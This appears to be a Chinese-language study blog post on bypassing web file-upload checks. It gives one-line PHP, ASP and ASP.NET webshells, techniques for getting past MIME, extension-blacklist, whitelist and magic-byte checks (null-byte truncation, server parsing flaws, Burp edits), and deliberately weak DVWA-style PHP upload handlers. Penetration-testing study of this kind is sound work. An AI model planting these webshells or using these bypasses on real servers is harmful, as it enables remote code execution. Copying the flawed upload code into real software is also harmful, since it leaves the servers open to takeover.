跟大佬学的文件上传绕过
Created at 2018-07-07 Updated at 2018-07-10
< !–more–>
潘老师人美心善,炒鸡炒鸡耐心教我这个小白,特别感恩!
一句话木马
PHP:
    <?php echo shell_exec($_GET[‘a’]);?>
    <?php @eval($_POST[‘a’]); ?>
ASP:
    <%eval request(“Cknife”)%>
ASP.NET:
    <%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>
文件上传漏洞检测
    1.客户端javascript检测(通常在本地检测文件的扩展名)
    绕过:
        ①禁用js
        ②先把文件改成符合条件的文件格式上传,再在抓包,修改文件的后缀名
    2.服务端检测绕过(MIME类型检测)
    绕过:
        可以通过burp拦包,将原Content-Type类型改成符合的类型。
    3.服务端目录路径检测
    绕过:
        上传时提供存储路径为image/20160704/可以修改为image/20160704/evil.php%00来截断。
        后端程序会将连接为image/20160704/evil.php%00filename.gif00截断导致最终存储为evil.php
    4.服务端文件扩展名检测
    (1)黑名单检测:接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传
    绕过:
        ①后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名evil.php改evil.Php
        ②名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等
        ③特殊文件名绕过(只适用windows,将文件名改为evil.php.或    evil.php (注意这里有一个空格)。
        在windows下,不允许这样的命名,所以会将.和空格自动去掉)。
        ④0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。
        例如:1.php%00.jpg,验证扩展名是.jpg,但写入的时候是1.php文件。
    (2)白名单检测:接收上传的文件做扩展名匹配,匹配上白名单中的扩展名才能上传
    绕过:
        ①0x00截断绕过
        ②解析漏洞绕过
        apache解析文件名是从右到左识别扩展名,如eval.php.jpg,文件为php文件,不能解析jpg会向前解析php
        IIS6.0 目录名包含.asp、.asa、.cer的话,则该目录下的所有文件都将按照asp解析。
        IIS6.0不解析;后面的,所以提交evil.asp;.html解析为asp类型
        Nginx解析漏洞:将php文件换成其他可以通过的文件后缀,访问的时候在后面加上/.php,
        例如:evil.jpg/.php,evil.jpg会解析为php的格式
    5.服务端文件内容检测
    图像类的文件内容检测
        文件幻数检测(图片头格式检测)
        jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46
        gif内容头value= 47 49 46 38 39 61
        png内容头value= 89 50 4E 47
    绕过:在文件头后加上一句话木马就能绕过
        
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//基于MIME
<?php  
	if (isset($_POST['Upload'])) {
        $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
        $target_path = $target_path . basename($_FILES['uploaded']['name']);
        $uploaded_name = $_FILES['uploaded']['name'];
        $uploaded_type = $_FILES['uploaded']['type’];
	//得到上传文件名的类型,kali里可以用mimetype 文件名来查看
	//例如:mimetype 1.php	9527.php: application/x-php(php类型)
	//尽管后缀名改了还是能识别真正的类型(根据内容来检测)
        $uploaded_size = $_FILES['uploaded']['size']; 
	//得到文件的大小
	 if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
	//这里做文件类型和文件大小的比较
	//文件大小被规定为100000KB,因此参照LOW抓包改文件最大值不能绕过
	 if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
		echo '<pre>';
           echo 'Your image was not uploaded.';
           echo '</pre>';  } 
	else {
           echo '<pre>';
           echo $target_path . ' succesfully uploaded!';
           echo '</pre>';  }
		}
	else{
           echo '<pre>Your image was not uploaded.</pre>'; 
		} 
	}   
?>
//基于黑名单
<?php
	$BlackList = array('asp','php','jsp','php5','asa','aspx’);
	//黑名单
	if (isset($_POST["submit"])){
	$name = $_FILES['file']['name']; //接收文件名
	echo $name;
	$extension = substr(strrchr($name,"."),1);
	//得到扩展名
	$boo = false;		
	foreach ($BlackList as $key=>$value){
	//foreach()函数的意思是BlackList的键值赋值给value
	//相当于value=BlackList[i],key=i(数组下标)
       if ($value==$extension){
	//迭代判断是否有命中
		$boo=true;
		break;//命中之后直接退出循环
		}
	}
	if(!$boo){
	//如果没有命中,则开始文件上传操作
		$size=$_FILES['file']['size’];
		//接收文件大小		
		$tmp=$_FILES['file']['tmp_name’];
		//临时路径
		move_uploaded_file($tmp,$name);
		//移动临时文件到当前文件目录
		echo "文件上传成功!<br/> path:".$name;
		}
	else {
		echo "文件不合法!!";
	}	
}
?>
///基于白名单
<?php
	$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc’);
	if (isset($_POST["submit"])){
		$name = $_FILES['file']['name’]; 
		//接收文件名
		$extension = substr(strrchr($name,"."),1);
		//得到扩展名
		$boo = false;
	
		foreach ($WhiteList as $key=>$value){
			if ($value==$extension){
			//迭代判断是否有命中
			$boo=true;
			}
		}
		if($boo){
		//如果有命中,则开始文件上传操作
			$size=$_FILES['file']['size’];
			//接收文件大小
			$tmp=$_FILES['file']['tmp_name’];
			//临时路径
			move_uploaded_file($tmp,$name);
			//移动临时文件到当前文件目录
			echo "文件上传成功!<br/> path:".$name;
			}
		else {
			echo "文件不合法!!";
			}		
	}
?>
